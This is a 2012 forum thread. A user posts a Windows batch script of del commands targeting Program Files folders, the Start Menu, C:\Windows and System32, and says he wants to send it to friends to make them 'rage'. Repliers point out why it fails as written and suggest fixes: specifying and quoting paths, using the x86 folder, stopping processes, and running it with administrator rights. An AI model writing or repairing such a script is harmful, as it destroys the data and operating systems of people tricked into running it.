Thread: [\[Code\]Does This Code Works?](#)

jgadiane - August 10, 2012, 9:03 am

Hey I Was Trying To Make My Own Batch Codes But I Was Thinking Of Something To Make Them Rage

Does This Code Works?

Code @echo off

del C:\Program Files\Mozilla Firefox

del C:\Program Files\Skype

del C:\Program Files\winRAR

del C:\Documents and Settings\All Users\Start Menu\Programs\Accessories

del C:\Windows\System32

del C:\Windows

del C:\Windows\System32\win.com

@pause

Please Tell Me If This Works :D

Edited :D Just as Juggernauten Suggested

I think it wouldn't work unless you specified some paths, occasionally my PC won't find he files if I don't specify their location.

Also, I don't see how this would make someone rage too much because you leave them a browser, which gives them the option to get everything back within minutes.

Edit: Nvm, didn't notice the 'del system' part, which is a dick move.

I like it (Y)

Did It Work? :D

If Its Works I Should Send This To My Friends :D And It Will Be Awesome

Juggernauten - August 10, 2012, 9:14 am

No it does not work. Unless you define some paths and turns off the processes.

Well the best way to test if it works is to run it on your own computer and see for yourself.

del C:\Program Files\winRAR I don't think that works on a 64 bit computer.
As they are installed in C:\Program Files (x86)

RTFM "del /?"

Unmentioned is that you can put quotes around the path to delete files and folders with spaces in them.

J?ck - August 11, 2012, 2:48 am

I think the code would have to have administrative rights to delete them files. They would have to run it as an administrator.
